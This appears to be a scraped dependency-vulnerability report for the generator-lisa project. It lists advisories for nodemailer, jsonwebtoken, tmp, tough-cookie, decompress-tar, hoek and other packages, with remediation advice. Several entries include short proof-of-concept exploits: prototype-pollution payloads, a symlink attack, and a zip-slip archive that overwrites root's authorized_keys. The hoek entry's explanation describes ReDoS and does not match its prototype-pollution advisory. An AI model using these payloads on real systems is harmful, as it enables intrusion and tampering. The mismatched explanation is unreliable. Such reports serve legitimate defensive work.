- Vulnerable module: nodemailer
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-email@2.0.1 › nodemailer@4.7.0
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of quoted local-parts containing @. An attacker can cause emails to be sent to unintended external recipients or bypass domain-based access controls by crafting specially formatted email addresses with quoted local-parts containing the @ character.
Remediation
Upgrade nodemailer to version 7.0.7 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › passport-jwt@2.2.1 › jsonwebtoken@7.4.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-passport@2.2.5 › jsonwebtoken@8.5.1
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm such that the library can be misconfigured to use legacy, insecure key types for signature verification. For example, DSA keys could be used with the RS256 algorithm.
Exploitability
Users are affected when using an algorithm and a key type other than the combinations mentioned below:
EC: ES256, ES384, ES512
RSA: RS256, RS384, RS512, PS256, PS384, PS512
RSA-PSS: PS256, PS384, PS512
And for Elliptic Curve algorithms:
ES256: prime256v1
ES384: secp384r1
ES512: secp521r1
Workaround
Users who are unable to upgrade to the fixed version can use the allowInvalidAsymmetricKeyTypes option to true in the sign() and verify() functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: tmp
- Introduced through: yeoman-generator@1.1.1
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › yeoman-environment@1.6.6 › inquirer@1.2.3 › external-editor@1.1.1 › tmp@0.0.29
Overview
Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.
PoC
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
Remediation
Upgrade tmp to version 0.2.4 or higher.
References
medium severity
- Vulnerable module: ip
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › bonjour@3.5.0 › multicast-dns@6.2.3 › dns-packet@1.3.4 › ip@1.1.9
Overview
ip is a Node library.
Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) via the isPublic function, which identifies some private IP addresses as public addresses due to improper parsing of the input.
An attacker can manipulate a system that uses isLoopback(), isPrivate() and isPublic functions to guard outgoing network requests to treat certain IP addresses as globally routable by supplying specially crafted IP addresses.
Note
This vulnerability derived from an incomplete fix for CVE-2023-42282
Remediation
There is no fixed version for ip.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › passport-jwt@2.2.1 › jsonwebtoken@7.4.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-passport@2.2.5 › jsonwebtoken@8.5.1
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey argument due to misconfigurations of the key retrieval function jwt.verify(). Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.
Note:
This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in jwt.verify() implementation with the same key retrieval function.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: request
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › request@2.81.0
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › request@2.81.0
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › request@2.81.0
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › request@2.88.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › google-auth-library@0.10.0 › request@2.88.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › google-auth-library@0.10.0 › gtoken@1.2.3 › request@2.88.2
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master branch but not yet published.
References
medium severity
- Vulnerable module: tar
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.
Remediation
Upgrade tar to version 6.2.1 or higher.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › request@2.81.0 › tough-cookie@2.3.4
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › request@2.81.0 › tough-cookie@2.3.4
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › request@2.81.0 › tough-cookie@2.3.4
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › google-auth-library@0.10.0 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › google-auth-library@0.10.0 › gtoken@1.2.3 › request@2.88.2 › tough-cookie@2.5.0
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › passport-jwt@2.2.1 › jsonwebtoken@7.4.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-passport@2.2.5 › jsonwebtoken@8.5.1
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the jwt.verify() function can lead to signature validation bypass due to defaulting to the none algorithm for signature verification.
Exploitability
Users are affected only if all of the following conditions are true for the jwt.verify() function:
A token with no signature is received.
No algorithms are specified.
A falsy (e.g.,
null,false,undefined) secret or key is passed.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: cookie
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-realtime@2.0.0 › engine.io@1.8.5 › cookie@0.3.1
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name, path, or domain, which can be used to set unexpected values to other cookie fields.
Workaround
Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade cookie to version 0.7.0 or higher.
References
medium severity
- Vulnerable module: decompress-tar
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › lisa-plugins-manager@0.0.11 › download@5.0.3 › decompress@4.2.1 › decompress-tar@4.1.1
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › lisa-plugins-manager@0.0.11 › download@5.0.3 › decompress@4.2.1 › decompress-tarbz2@4.1.1 › decompress-tar@4.1.1
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › lisa-plugins-manager@0.0.11 › download@5.0.3 › decompress@4.2.1 › decompress-targz@4.1.1 › decompress-tar@4.1.1
Overview
decompress-tar is a tar plugin for decompress.
Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). It is possible to bypass the security measures provided by decompress and conduct ZIP path traversal through symlinks.
PoC
const decompress = require('decompress');
decompress('slip.tar.gz', 'dist').then(files => {
console.log('done!');
});
Details
It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
+2018-04-15 22:04:29 ..... 19 19 good.txt
+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
There is no fixed version for decompress-tar.
References
medium severity
- Vulnerable module: hoek
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › passport-jwt@2.2.1 › jsonwebtoken@7.4.3 › joi@6.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › hawk@3.1.3 › hoek@2.16.3Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › hawk@3.1.3 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › passport-jwt@2.2.1 › jsonwebtoken@7.4.3 › joi@6.10.1 › topo@1.1.0 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › hoek@2.16.3Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › hawk@3.1.3 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
Overview
hoek is an Utility methods for the hapi ecosystem.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
